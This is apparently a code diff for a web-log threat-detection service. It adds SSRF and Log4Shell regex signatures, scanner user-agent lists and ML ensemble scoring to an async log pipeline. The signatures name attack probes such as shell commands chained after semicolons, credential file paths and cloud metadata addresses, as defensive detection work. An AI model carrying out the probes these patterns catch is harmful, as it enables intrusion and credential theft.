r"(?:union\s+(?:all\s+)?select|"
|
r"'\s*or\s+.+=|"
|
||||||
r"'\s*or\s+.+=|"
|
r"'\s*and\s+.+=|"
|
||||||
r"'\s*and\s+.+=|"
|
r"1\s*=\s*1|"
|
||||||
r"1\s*=\s*1|"
|
r"sleep\s*\(|"
|
||||||
r"sleep\s*\(|"
|
r"benchmark\s*\(|"
|
||||||
r"benchmark\s*\(|"
|
r"waitfor\s+delay|"
|
||||||
r"waitfor\s+delay|"
|
r"extractvalue\s*\(|"
|
||||||
r"extractvalue\s*\(|"
|
r"updatexml\s*\(|"
|
||||||
r"updatexml\s*\(|"
|
r"load_file\s*\(|"
|
||||||
r"load_file\s*\(|"
|
r"into\s+(?:out|dump)file|"
|
||||||
r"into\s+(?:out|dump)file|"
|
r"group\s+by\s+.+having|"
|
||||||
r"group\s+by\s+.+having|"
|
r"order\s+by\s+\d+|"
|
||||||
r"order\s+by\s+\d+|"
|
r"(?:drop|alter|create)\s+table|"
|
||||||
r"(?:drop|alter|create)\s+table|"
|
r"information_schema|"
|
||||||
r"information_schema|"
|
r"(?:char|concat|hex|unhex)\s*\(|"
|
||||||
r"(?:char|concat|hex|unhex)\s*\(|"
|
r"0x[0-9a-f]{6,}|"
|
||||||
r"0x[0-9a-f]{6,}|"
|
r"--\s*$|"
|
||||||
r"--\s*$|"
|
r"/\*.*?\*/)")
|
||||||
r"/\*.*?\*/)"
|
|
||||||
)
|
|
||||||
|
|
||||||
_XSS = (
|
_XSS = (
|
||||||
r"(?:<\s*script|"
|
r"(?:<\s*script|"
|
||||||
|
|
@ -45,23 +43,20 @@ _XSS = (
|
||||||
r"prompt\s*\(|"
|
r"prompt\s*\(|"
|
||||||
r"confirm\s*\(|"
|
r"confirm\s*\(|"
|
||||||
r"expression\s*\(|"
|
r"expression\s*\(|"
|
||||||
r"String\s*\.\s*fromCharCode)"
|
r"String\s*\.\s*fromCharCode)")
|
||||||
)
|
|
||||||
|
|
||||||
_PATH_TRAVERSAL = (
|
_PATH_TRAVERSAL = (r"(?:\.\./|"
|
||||||
r"(?:\.\./|"
|
r"\.\.\\|"
|
||||||
r"\.\.\\|"
|
r"%2e%2e[%/\\]|"
|
||||||
r"%2e%2e[%/\\]|"
|
r"%252e%252e|"
|
||||||
r"%252e%252e|"
|
r"(?:etc/(?:passwd|shadow|hosts)|"
|
||||||
r"(?:etc/(?:passwd|shadow|hosts)|"
|
r"proc/self/|"
|
||||||
r"proc/self/|"
|
r"windows/system32|"
|
||||||
r"windows/system32|"
|
r"boot\.ini|"
|
||||||
r"boot\.ini|"
|
r"web\.config|"
|
||||||
r"web\.config|"
|
r"\.env|"
|
||||||
r"\.env|"
|
r"\.git/config|"
|
||||||
r"\.git/config|"
|
r"wp-config\.php))")
|
||||||
r"wp-config\.php))"
|
|
||||||
)
|
|
||||||
|
|
||||||
_COMMAND_INJECTION = (
|
_COMMAND_INJECTION = (
|
||||||
r"(?:;\s*(?:ls|cat|rm|wget|curl|chmod|chown|nc|bash|sh|python|perl|ruby|php)\b|"
|
r"(?:;\s*(?:ls|cat|rm|wget|curl|chmod|chown|nc|bash|sh|python|perl|ruby|php)\b|"
|
||||||
|
|
@ -70,27 +65,42 @@ _COMMAND_INJECTION = (
|
||||||
r"`[^`]+`|"
|
r"`[^`]+`|"
|
||||||
r"\$\{|"
|
r"\$\{|"
|
||||||
r">\s*/(?:etc|tmp|var)|"
|
r">\s*/(?:etc|tmp|var)|"
|
||||||
r"&&\s*(?:cat|ls|id|whoami|wget|curl)\b)"
|
r"&&\s*(?:cat|ls|id|whoami|wget|curl)\b)")
|
||||||
|
|
||||||
|
_FILE_INCLUSION = (r"(?:php://|"
|
||||||
|
r"file://|"
|
||||||
|
r"data://|"
|
||||||
|
r"expect://|"
|
||||||
|
r"input://|"
|
||||||
|
r"zip://|"
|
||||||
|
r"phar://|"
|
||||||
|
r"glob://)")
|
||||||
|
|
||||||
|
_SSRF = (
|
||||||
|
r"(?:169\.254\.169\.254|"
|
||||||
|
r"metadata\.google\.internal|"
|
||||||
|
r"169\.254\.170\.2|"
|
||||||
|
r"100\.100\.100\.200|"
|
||||||
|
r"(?:localhost|127\.0\.0\.1|0\.0\.0\.0)(?::\d+)?/(?!$)|"
|
||||||
|
r"file:///(?:etc|proc|sys)|"
|
||||||
|
r"dict://|"
|
||||||
|
r"gopher://)"
|
||||||
)
|
)
|
||||||
|
|
||||||
_FILE_INCLUSION = (
|
_LOG4SHELL = r"(?:\$\{(?:j(?:ndi|ava)|lower|upper|:-|:\+|#))"
|
||||||
r"(?:php://|"
|
|
||||||
r"file://|"
|
|
||||||
r"data://|"
|
|
||||||
r"expect://|"
|
|
||||||
r"input://|"
|
|
||||||
r"zip://|"
|
|
||||||
r"phar://|"
|
|
||||||
r"glob://)"
|
|
||||||
)
|
|
||||||
|
|
||||||
SQLI = re.compile(_SQLI, re.IGNORECASE)
|
SQLI = re.compile(_SQLI, re.IGNORECASE)
|
||||||
XSS = re.compile(_XSS, re.IGNORECASE)
|
XSS = re.compile(_XSS, re.IGNORECASE)
|
||||||
PATH_TRAVERSAL = re.compile(_PATH_TRAVERSAL, re.IGNORECASE)
|
PATH_TRAVERSAL = re.compile(_PATH_TRAVERSAL, re.IGNORECASE)
|
||||||
COMMAND_INJECTION = re.compile(_COMMAND_INJECTION, re.IGNORECASE)
|
COMMAND_INJECTION = re.compile(_COMMAND_INJECTION, re.IGNORECASE)
|
||||||
FILE_INCLUSION = re.compile(_FILE_INCLUSION, re.IGNORECASE)
|
FILE_INCLUSION = re.compile(_FILE_INCLUSION, re.IGNORECASE)
|
||||||
|
SSRF = re.compile(_SSRF, re.IGNORECASE)
|
||||||
|
LOG4SHELL = re.compile(_LOG4SHELL, re.IGNORECASE)
|
||||||
|
|
||||||
ATTACK_COMBINED = re.compile(
|
ATTACK_COMBINED = re.compile(
|
||||||
r"|".join((_SQLI, _XSS, _PATH_TRAVERSAL, _COMMAND_INJECTION, _FILE_INCLUSION)),
|
r"|".join((
|
||||||
|
_SQLI, _XSS, _PATH_TRAVERSAL, _COMMAND_INJECTION,
|
||||||
|
_FILE_INCLUSION, _SSRF, _LOG4SHELL,
|
||||||
|
)),
|
||||||
re.IGNORECASE,
|
re.IGNORECASE,
|
||||||
)
|
)
|
||||||
|
|
|
||||||
|
|
@ -3,87 +3,83 @@
|
||||||
signatures.py
|
signatures.py
|
||||||
"""
|
"""
|
||||||
|
|
||||||
BOT_USER_AGENTS: frozenset[str] = frozenset(
|
BOT_USER_AGENTS: frozenset[str] = frozenset({
|
||||||
{
|
"googlebot",
|
||||||
"googlebot",
|
"bingbot",
|
||||||
"bingbot",
|
"slurp",
|
||||||
"slurp",
|
"duckduckbot",
|
||||||
"duckduckbot",
|
"baiduspider",
|
||||||
"baiduspider",
|
"yandexbot",
|
||||||
"yandexbot",
|
"sogou",
|
||||||
"sogou",
|
"facebot",
|
||||||
"facebot",
|
"ia_archiver",
|
||||||
"ia_archiver",
|
"applebot",
|
||||||
"applebot",
|
"petalbot",
|
||||||
"petalbot",
|
"semrushbot",
|
||||||
"semrushbot",
|
"ahrefsbot",
|
||||||
"ahrefsbot",
|
"mj12bot",
|
||||||
"mj12bot",
|
"dotbot",
|
||||||
"dotbot",
|
"rogerbot",
|
||||||
"rogerbot",
|
"linkedinbot",
|
||||||
"linkedinbot",
|
"twitterbot",
|
||||||
"twitterbot",
|
"gptbot",
|
||||||
"gptbot",
|
"claudebot",
|
||||||
"claudebot",
|
"amazonbot",
|
||||||
"amazonbot",
|
"bytespider",
|
||||||
"bytespider",
|
"ccbot",
|
||||||
"ccbot",
|
"dataforseo",
|
||||||
"dataforseo",
|
"seznambot",
|
||||||
"seznambot",
|
"megaindex",
|
||||||
"megaindex",
|
"blexbot",
|
||||||
"blexbot",
|
"exabot",
|
||||||
"exabot",
|
"archive.org_bot",
|
||||||
"archive.org_bot",
|
"mojeekbot",
|
||||||
"mojeekbot",
|
"uptimerobot",
|
||||||
"uptimerobot",
|
"deadlinkchecker",
|
||||||
"deadlinkchecker",
|
"sitebulb",
|
||||||
"sitebulb",
|
"screaming frog",
|
||||||
"screaming frog",
|
})
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
SCANNER_USER_AGENTS: frozenset[str] = frozenset(
|
SCANNER_USER_AGENTS: frozenset[str] = frozenset({
|
||||||
{
|
"nikto",
|
||||||
"nikto",
|
"sqlmap",
|
||||||
"sqlmap",
|
"nessus",
|
||||||
"nessus",
|
"openvas",
|
||||||
"openvas",
|
"acunetix",
|
||||||
"acunetix",
|
"w3af",
|
||||||
"w3af",
|
"nmap",
|
||||||
"nmap",
|
"masscan",
|
||||||
"masscan",
|
"zgrab",
|
||||||
"zgrab",
|
"gobuster",
|
||||||
"gobuster",
|
"dirbuster",
|
||||||
"dirbuster",
|
"dirb",
|
||||||
"dirb",
|
"wfuzz",
|
||||||
"wfuzz",
|
"ffuf",
|
||||||
"ffuf",
|
"nuclei",
|
||||||
"nuclei",
|
"burp",
|
||||||
"burp",
|
"zap",
|
||||||
"zap",
|
"arachni",
|
||||||
"arachni",
|
"skipfish",
|
||||||
"skipfish",
|
"wpscan",
|
||||||
"wpscan",
|
"joomscan",
|
||||||
"joomscan",
|
"whatweb",
|
||||||
"whatweb",
|
"httprint",
|
||||||
"httprint",
|
"fierce",
|
||||||
"fierce",
|
"subfinder",
|
||||||
"subfinder",
|
"amass",
|
||||||
"amass",
|
"httpx",
|
||||||
"httpx",
|
"jaeles",
|
||||||
"jaeles",
|
"xray",
|
||||||
"xray",
|
"gau",
|
||||||
"gau",
|
"hakrawler",
|
||||||
"hakrawler",
|
"katana",
|
||||||
"katana",
|
"cariddi",
|
||||||
"cariddi",
|
"gospider",
|
||||||
"gospider",
|
"feroxbuster",
|
||||||
"feroxbuster",
|
"rustbuster",
|
||||||
"rustbuster",
|
"patator",
|
||||||
"patator",
|
"hydra",
|
||||||
"hydra",
|
"medusa",
|
||||||
"medusa",
|
"metasploit",
|
||||||
"metasploit",
|
"cobalt",
|
||||||
"cobalt",
|
})
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
|
||||||
|
|
@ -28,15 +28,13 @@ class ParsedLogEntry:
|
||||||
|
|
||||||
_TIMESTAMP_FMT = "%d/%b/%Y:%H:%M:%S %z"
|
_TIMESTAMP_FMT = "%d/%b/%Y:%H:%M:%S %z"
|
||||||
|
|
||||||
_COMBINED_RE = re.compile(
|
_COMBINED_RE = re.compile(r"(?P<ip>\S+) \S+ \S+ "
|
||||||
r"(?P<ip>\S+) \S+ \S+ "
|
r"\[(?P<timestamp>[^\]]+)\] "
|
||||||
r"\[(?P<timestamp>[^\]]+)\] "
|
r'"(?P<request>[^"]*)" '
|
||||||
r'"(?P<request>[^"]*)" '
|
r"(?P<status>\d{3}) "
|
||||||
r"(?P<status>\d{3}) "
|
r"(?P<size>\S+) "
|
||||||
r"(?P<size>\S+) "
|
r'"(?P<referer>[^"]*)" '
|
||||||
r'"(?P<referer>[^"]*)" '
|
r'"(?P<user_agent>[^"]*)"')
|
||||||
r'"(?P<user_agent>[^"]*)"'
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
def parse_combined(line: str) -> ParsedLogEntry | None:
|
def parse_combined(line: str) -> ParsedLogEntry | None:
|
||||||
|
|
@ -72,7 +70,8 @@ def _parse_split(line: str) -> ParsedLogEntry | None:
|
||||||
bracket_open = prefix.index("[")
|
bracket_open = prefix.index("[")
|
||||||
bracket_close = prefix.index("]")
|
bracket_close = prefix.index("]")
|
||||||
ip = prefix[:bracket_open].split()[0]
|
ip = prefix[:bracket_open].split()[0]
|
||||||
timestamp = datetime.strptime(prefix[bracket_open + 1 : bracket_close], _TIMESTAMP_FMT)
|
timestamp = datetime.strptime(prefix[bracket_open + 1:bracket_close],
|
||||||
|
_TIMESTAMP_FMT)
|
||||||
|
|
||||||
request_parts = request_line.split(" ", 2)
|
request_parts = request_line.split(" ", 2)
|
||||||
method = request_parts[0]
|
method = request_parts[0]
|
||||||
|
|
|
||||||
|
|
@ -8,9 +8,16 @@ import logging
|
||||||
import uuid
|
import uuid
|
||||||
from collections.abc import Awaitable, Callable
|
from collections.abc import Awaitable, Callable
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
from typing import TYPE_CHECKING
|
||||||
|
|
||||||
import redis.asyncio as aioredis
|
import redis.asyncio as aioredis
|
||||||
|
|
||||||
|
from app.core.detection.ensemble import (
|
||||||
|
blend_scores,
|
||||||
|
fuse_scores,
|
||||||
|
normalize_ae_score,
|
||||||
|
normalize_if_score,
|
||||||
|
)
|
||||||
from app.core.detection.rules import RuleEngine, RuleResult
|
from app.core.detection.rules import RuleEngine, RuleResult
|
||||||
from app.core.enrichment.geoip import GeoIPService, GeoResult
|
from app.core.enrichment.geoip import GeoIPService, GeoResult
|
||||||
from app.core.features.aggregator import WindowAggregator
|
from app.core.features.aggregator import WindowAggregator
|
||||||
|
|
@ -18,13 +25,27 @@ from app.core.features.encoder import encode_for_inference
|
||||||
from app.core.features.extractor import extract_request_features
|
from app.core.features.extractor import extract_request_features
|
||||||
from app.core.ingestion.parsers import ParsedLogEntry, parse_combined
|
from app.core.ingestion.parsers import ParsedLogEntry, parse_combined
|
||||||
|
|
||||||
|
try:
|
||||||
|
import numpy as np
|
||||||
|
except ImportError:
|
||||||
|
np = None # type: ignore[assignment]
|
||||||
|
|
||||||
|
if TYPE_CHECKING:
|
||||||
|
from app.core.detection.inference import InferenceEngine
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
DEFAULT_ENSEMBLE_WEIGHTS: dict[str, float] = {
|
||||||
|
"ae": 0.40,
|
||||||
|
"rf": 0.40,
|
||||||
|
"if": 0.20,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@dataclass(slots=True)
|
@dataclass(slots=True)
|
||||||
class EnrichedRequest:
|
class EnrichedRequest:
|
||||||
"""
|
"""
|
||||||
A parsed log entry enriched with extracted features and GeoIP data.
|
A parsed log entry enriched with extracted features and GeoIP data
|
||||||
"""
|
"""
|
||||||
|
|
||||||
entry: ParsedLogEntry
|
entry: ParsedLogEntry
|
||||||
|
|
@ -36,7 +57,7 @@ class EnrichedRequest:
|
||||||
@dataclass(slots=True)
|
@dataclass(slots=True)
|
||||||
class ScoredRequest:
|
class ScoredRequest:
|
||||||
"""
|
"""
|
||||||
A fully scored request ready for dispatch.
|
A fully scored request ready for dispatch
|
||||||
"""
|
"""
|
||||||
|
|
||||||
entry: ParsedLogEntry
|
entry: ParsedLogEntry
|
||||||
|
|
@ -44,16 +65,18 @@ class ScoredRequest:
|
||||||
feature_vector: list[float]
|
feature_vector: list[float]
|
||||||
geo: GeoResult | None
|
geo: GeoResult | None
|
||||||
rule_result: RuleResult
|
rule_result: RuleResult
|
||||||
|
final_score: float = 0.0
|
||||||
|
detection_mode: str = "rules"
|
||||||
|
|
||||||
|
|
||||||
class Pipeline:
|
class Pipeline:
|
||||||
"""
|
"""
|
||||||
Four-stage async pipeline that transforms raw log lines
|
Four-stage async pipeline that transforms raw log lines
|
||||||
into scored threat candidates.
|
into scored threat candidates
|
||||||
|
|
||||||
Stages:
|
Stages:
|
||||||
raw_queue → [parse] → parsed_queue → [enrich+features]
|
raw_queue -> [parse] -> parsed_queue -> [enrich+features]
|
||||||
→ feature_queue → [detect] → alert_queue → [dispatch]
|
-> feature_queue -> [detect] -> alert_queue -> [dispatch]
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(
|
def __init__(
|
||||||
|
|
@ -61,34 +84,36 @@ class Pipeline:
|
||||||
redis_client: aioredis.Redis[bytes],
|
redis_client: aioredis.Redis[bytes],
|
||||||
rule_engine: RuleEngine,
|
rule_engine: RuleEngine,
|
||||||
geoip: GeoIPService | None = None,
|
geoip: GeoIPService | None = None,
|
||||||
on_result: Callable[[ScoredRequest], Awaitable[None]] | None = None,
|
on_result: (Callable[[ScoredRequest], Awaitable[None]] | None) = None,
|
||||||
|
inference_engine: InferenceEngine | None = None,
|
||||||
|
ensemble_weights: dict[str, float] | None = None,
|
||||||
raw_queue_size: int = 1000,
|
raw_queue_size: int = 1000,
|
||||||
parsed_queue_size: int = 500,
|
parsed_queue_size: int = 500,
|
||||||
feature_queue_size: int = 200,
|
feature_queue_size: int = 200,
|
||||||
alert_queue_size: int = 100,
|
alert_queue_size: int = 100,
|
||||||
) -> None:
|
) -> None:
|
||||||
self.raw_queue: asyncio.Queue[str | None] = asyncio.Queue(
|
self.raw_queue: asyncio.Queue[str | None] = asyncio.Queue(
|
||||||
maxsize=raw_queue_size,
|
maxsize=raw_queue_size)
|
||||||
)
|
self._parsed_queue: asyncio.Queue[ParsedLogEntry
|
||||||
self._parsed_queue: asyncio.Queue[ParsedLogEntry | None] = asyncio.Queue(
|
| None] = asyncio.Queue(
|
||||||
maxsize=parsed_queue_size,
|
maxsize=parsed_queue_size)
|
||||||
)
|
self._feature_queue: asyncio.Queue[EnrichedRequest
|
||||||
self._feature_queue: asyncio.Queue[EnrichedRequest | None] = asyncio.Queue(
|
| None] = asyncio.Queue(
|
||||||
maxsize=feature_queue_size,
|
maxsize=feature_queue_size)
|
||||||
)
|
|
||||||
self._alert_queue: asyncio.Queue[ScoredRequest | None] = asyncio.Queue(
|
self._alert_queue: asyncio.Queue[ScoredRequest | None] = asyncio.Queue(
|
||||||
maxsize=alert_queue_size,
|
maxsize=alert_queue_size)
|
||||||
)
|
|
||||||
|
|
||||||
self._aggregator = WindowAggregator(redis_client)
|
self._aggregator = WindowAggregator(redis_client)
|
||||||
self._rule_engine = rule_engine
|
self._rule_engine = rule_engine
|
||||||
self._geoip = geoip
|
self._geoip = geoip
|
||||||
self._on_result = on_result
|
self._on_result = on_result
|
||||||
|
self._inference_engine = inference_engine
|
||||||
|
self._ensemble_weights = ensemble_weights or DEFAULT_ENSEMBLE_WEIGHTS
|
||||||
self._tasks: list[asyncio.Task[None]] = []
|
self._tasks: list[asyncio.Task[None]] = []
|
||||||
|
|
||||||
async def start(self) -> None:
|
async def start(self) -> None:
|
||||||
"""
|
"""
|
||||||
Spawn worker tasks for each pipeline stage.
|
Spawn worker tasks for each pipeline stage
|
||||||
"""
|
"""
|
||||||
self._tasks = [
|
self._tasks = [
|
||||||
asyncio.create_task(self._parse_worker(), name="parse"),
|
asyncio.create_task(self._parse_worker(), name="parse"),
|
||||||
|
|
@ -100,7 +125,8 @@ class Pipeline:
|
||||||
|
|
||||||
async def stop(self) -> None:
|
async def stop(self) -> None:
|
||||||
"""
|
"""
|
||||||
Send a poison pill through the chain and wait for all workers to exit.
|
Send a poison pill through the chain and wait
|
||||||
|
for all workers to exit
|
||||||
"""
|
"""
|
||||||
await self.raw_queue.put(None)
|
await self.raw_queue.put(None)
|
||||||
await asyncio.gather(*self._tasks)
|
await asyncio.gather(*self._tasks)
|
||||||
|
|
@ -108,7 +134,7 @@ class Pipeline:
|
||||||
|
|
||||||
async def _parse_worker(self) -> None:
|
async def _parse_worker(self) -> None:
|
||||||
"""
|
"""
|
||||||
Stage 1: Parse raw log lines into structured entries.
|
Stage 1: Parse raw log lines into structured entries
|
||||||
"""
|
"""
|
||||||
while True:
|
while True:
|
||||||
line = await self.raw_queue.get()
|
line = await self.raw_queue.get()
|
||||||
|
|
@ -126,8 +152,9 @@ class Pipeline:
|
||||||
|
|
||||||
async def _feature_worker(self) -> None:
|
async def _feature_worker(self) -> None:
|
||||||
"""
|
"""
|
||||||
Stage 2: Enrich with GeoIP, extract per-request features,
|
Stage 2: Enrich with GeoIP, extract per-request
|
||||||
aggregate per-IP windowed features, and encode the 35-dim vector.
|
features, aggregate per-IP windowed features,
|
||||||
|
and encode the 35-dim vector
|
||||||
"""
|
"""
|
||||||
while True:
|
while True:
|
||||||
entry = await self._parsed_queue.get()
|
entry = await self._parsed_queue.get()
|
||||||
|
|
@ -166,15 +193,18 @@ class Pipeline:
|
||||||
features=merged,
|
features=merged,
|
||||||
feature_vector=vector,
|
feature_vector=vector,
|
||||||
geo=geo,
|
geo=geo,
|
||||||
)
|
))
|
||||||
)
|
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.exception("Feature extraction failed for %s", entry.ip)
|
logger.exception(
|
||||||
|
"Feature extraction failed for %s",
|
||||||
|
entry.ip,
|
||||||
|
)
|
||||||
self._parsed_queue.task_done()
|
self._parsed_queue.task_done()
|
||||||
|
|
||||||
async def _detection_worker(self) -> None:
|
async def _detection_worker(self) -> None:
|
||||||
"""
|
"""
|
||||||
Stage 3: Score enriched requests using the rule engine.
|
Stage 3: Score enriched requests using the rule
|
||||||
|
engine, optionally enhanced with ML ensemble
|
||||||
"""
|
"""
|
||||||
while True:
|
while True:
|
||||||
enriched = await self._feature_queue.get()
|
enriched = await self._feature_queue.get()
|
||||||
|
|
@ -187,6 +217,25 @@ class Pipeline:
|
||||||
enriched.features,
|
enriched.features,
|
||||||
enriched.entry,
|
enriched.entry,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
final_score = rule_result.threat_score
|
||||||
|
detection_mode = "rules"
|
||||||
|
|
||||||
|
if (self._inference_engine is not None
|
||||||
|
and self._inference_engine.is_loaded
|
||||||
|
and np is not None):
|
||||||
|
ml_scores = self._score_with_ml(enriched.feature_vector)
|
||||||
|
if ml_scores is not None:
|
||||||
|
ml_fused = fuse_scores(
|
||||||
|
ml_scores,
|
||||||
|
self._ensemble_weights,
|
||||||
|
)
|
||||||
|
final_score = blend_scores(
|
||||||
|
ml_fused,
|
||||||
|
rule_result.threat_score,
|
||||||
|
)
|
||||||
|
detection_mode = "hybrid"
|
||||||
|
|
||||||
await self._alert_queue.put(
|
await self._alert_queue.put(
|
||||||
ScoredRequest(
|
ScoredRequest(
|
||||||
entry=enriched.entry,
|
entry=enriched.entry,
|
||||||
|
|
@ -194,15 +243,40 @@ class Pipeline:
|
||||||
feature_vector=enriched.feature_vector,
|
feature_vector=enriched.feature_vector,
|
||||||
geo=enriched.geo,
|
geo=enriched.geo,
|
||||||
rule_result=rule_result,
|
rule_result=rule_result,
|
||||||
)
|
final_score=final_score,
|
||||||
)
|
detection_mode=detection_mode,
|
||||||
|
))
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.exception("Detection failed")
|
logger.exception("Detection failed")
|
||||||
self._feature_queue.task_done()
|
self._feature_queue.task_done()
|
||||||
|
|
||||||
|
def _score_with_ml(self,
|
||||||
|
feature_vector: list[float]) -> dict[str, float] | None:
|
||||||
|
"""
|
||||||
|
Run ML ensemble inference on a single feature vector
|
||||||
|
and return normalized per-model scores
|
||||||
|
"""
|
||||||
|
batch = np.array([feature_vector], dtype=np.float32)
|
||||||
|
raw = self._inference_engine.predict(batch) # type: ignore[union-attr]
|
||||||
|
if raw is None:
|
||||||
|
return None
|
||||||
|
|
||||||
|
return {
|
||||||
|
"ae":
|
||||||
|
normalize_ae_score(
|
||||||
|
raw["ae"][0],
|
||||||
|
self._inference_engine.threshold, # type: ignore[union-attr]
|
||||||
|
),
|
||||||
|
"rf":
|
||||||
|
raw["rf"][0],
|
||||||
|
"if":
|
||||||
|
normalize_if_score(raw["if"][0]),
|
||||||
|
}
|
||||||
|
|
||||||
async def _dispatch_worker(self) -> None:
|
async def _dispatch_worker(self) -> None:
|
||||||
"""
|
"""
|
||||||
Stage 4: Dispatch scored results via the on_result callback.
|
Stage 4: Dispatch scored results via the
|
||||||
|
on_result callback
|
||||||
"""
|
"""
|
||||||
while True:
|
while True:
|
||||||
scored = await self._alert_queue.get()
|
scored = await self._alert_queue.get()
|
||||||
|
|
@ -213,5 +287,8 @@ class Pipeline:
|
||||||
if self._on_result is not None:
|
if self._on_result is not None:
|
||||||
await self._on_result(scored)
|
await self._on_result(scored)
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.exception("Dispatch failed for %s", scored.entry.ip)
|
logger.exception(
|
||||||
|
"Dispatch failed for %s",
|
||||||
|
scored.entry.ip,
|
||||||
|
)
|
||||||
self._alert_queue.task_done()
|
self._alert_queue.task_done()
|
||||||
|
|
|
||||||
|
|
@ -45,15 +45,26 @@ class _LogHandler(FileSystemEventHandler):
|
||||||
Open the target log file and seek to the end.
|
Open the target log file and seek to the end.
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
self._file = open(self._target, encoding="utf-8", errors="replace") # noqa: SIM115
|
self._file = open( # noqa: SIM115
|
||||||
|
self._target, encoding="utf-8", errors="replace")
|
||||||
self._file.seek(0, os.SEEK_END)
|
self._file.seek(0, os.SEEK_END)
|
||||||
self._inode = os.stat(self._target).st_ino
|
self._inode = os.stat(self._target).st_ino
|
||||||
logger.info("Tailing %s (inode %s)", self._target, self._inode)
|
logger.info("Tailing %s (inode %s)", self._target, self._inode)
|
||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
logger.warning("Log file %s not found — waiting for creation", self._target)
|
logger.warning("Log file %s not found — waiting for creation",
|
||||||
|
self._target)
|
||||||
self._file = None
|
self._file = None
|
||||||
self._inode = None
|
self._inode = None
|
||||||
|
|
||||||
|
def _enqueue(self, line: str) -> None:
|
||||||
|
"""
|
||||||
|
Push one line into the queue, logging drops on full queue
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
self._queue.put_nowait(line)
|
||||||
|
except asyncio.QueueFull:
|
||||||
|
logger.warning("Raw queue full — log line dropped")
|
||||||
|
|
||||||
def _read_new_lines(self) -> None:
|
def _read_new_lines(self) -> None:
|
||||||
"""
|
"""
|
||||||
Read all new complete lines from the current file position.
|
Read all new complete lines from the current file position.
|
||||||
|
|
@ -64,7 +75,7 @@ class _LogHandler(FileSystemEventHandler):
|
||||||
for line in self._file:
|
for line in self._file:
|
||||||
stripped = line.rstrip("\n\r")
|
stripped = line.rstrip("\n\r")
|
||||||
if stripped:
|
if stripped:
|
||||||
self._loop.call_soon_threadsafe(self._queue.put_nowait, stripped)
|
self._loop.call_soon_threadsafe(self._enqueue, stripped)
|
||||||
|
|
||||||
def _handle_rotation(self) -> None:
|
def _handle_rotation(self) -> None:
|
||||||
"""
|
"""
|
||||||
|
|
@ -76,9 +87,11 @@ class _LogHandler(FileSystemEventHandler):
|
||||||
self._file.close()
|
self._file.close()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self._file = open(self._target, encoding="utf-8", errors="replace") # noqa: SIM115
|
self._file = open( # noqa: SIM115
|
||||||
|
self._target, encoding="utf-8", errors="replace")
|
||||||
self._inode = os.stat(self._target).st_ino
|
self._inode = os.stat(self._target).st_ino
|
||||||
logger.info("Rotated to new %s (inode %s)", self._target, self._inode)
|
logger.info("Rotated to new %s (inode %s)", self._target,
|
||||||
|
self._inode)
|
||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
self._file = None
|
self._file = None
|
||||||
self._inode = None
|
self._inode = None
|
||||||
|
|
@ -93,7 +106,8 @@ class _LogHandler(FileSystemEventHandler):
|
||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def on_modified(self, event: FileModifiedEvent) -> None: # type: ignore[override]
|
def on_modified(
|
||||||
|
self, event: FileModifiedEvent) -> None: # type: ignore[override]
|
||||||
"""
|
"""
|
||||||
Handle new data appended to the log file.
|
Handle new data appended to the log file.
|
||||||
"""
|
"""
|
||||||
|
|
@ -109,7 +123,8 @@ class _LogHandler(FileSystemEventHandler):
|
||||||
|
|
||||||
self._read_new_lines()
|
self._read_new_lines()
|
||||||
|
|
||||||
def on_moved(self, event: FileMovedEvent) -> None: # type: ignore[override]
|
def on_moved(self,
|
||||||
|
event: FileMovedEvent) -> None: # type: ignore[override]
|
||||||
"""
|
"""
|
||||||
Handle log rotation via rename (access.log -> access.log.1).
|
Handle log rotation via rename (access.log -> access.log.1).
|
||||||
"""
|
"""
|
||||||
|
|
@ -117,10 +132,12 @@ class _LogHandler(FileSystemEventHandler):
|
||||||
return
|
return
|
||||||
|
|
||||||
if Path(str(event.src_path)).resolve() == Path(self._target).resolve():
|
if Path(str(event.src_path)).resolve() == Path(self._target).resolve():
|
||||||
logger.info("Log rotated: %s -> %s", event.src_path, event.dest_path)
|
logger.info("Log rotated: %s -> %s", event.src_path,
|
||||||
|
event.dest_path)
|
||||||
self._handle_rotation()
|
self._handle_rotation()
|
||||||
|
|
||||||
def on_created(self, event: FileCreatedEvent) -> None: # type: ignore[override]
|
def on_created(self,
|
||||||
|
event: FileCreatedEvent) -> None: # type: ignore[override]
|
||||||
"""
|
"""
|
||||||
Handle log rotation where a new file is created at the target path.
|
Handle log rotation where a new file is created at the target path.
|
||||||
"""
|
"""
|
||||||
|
|
|
||||||
|
|
@ -9,6 +9,7 @@ import time
|
||||||
from collections.abc import AsyncIterator
|
from collections.abc import AsyncIterator
|
||||||
from contextlib import asynccontextmanager
|
from contextlib import asynccontextmanager
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
from typing import TYPE_CHECKING
|
||||||
|
|
||||||
from fastapi import FastAPI
|
from fastapi import FastAPI
|
||||||
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine
|
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine
|
||||||
|
|
@ -24,6 +25,9 @@ from app.core.redis_manager import redis_manager
|
||||||
from app.models import model_metadata as _model_metadata_reg # noqa: F401
|
from app.models import model_metadata as _model_metadata_reg # noqa: F401
|
||||||
from app.models import threat_event as _threat_event_reg # noqa: F401
|
from app.models import threat_event as _threat_event_reg # noqa: F401
|
||||||
|
|
||||||
|
if TYPE_CHECKING:
|
||||||
|
from app.core.detection.inference import InferenceEngine
|
||||||
|
|
||||||
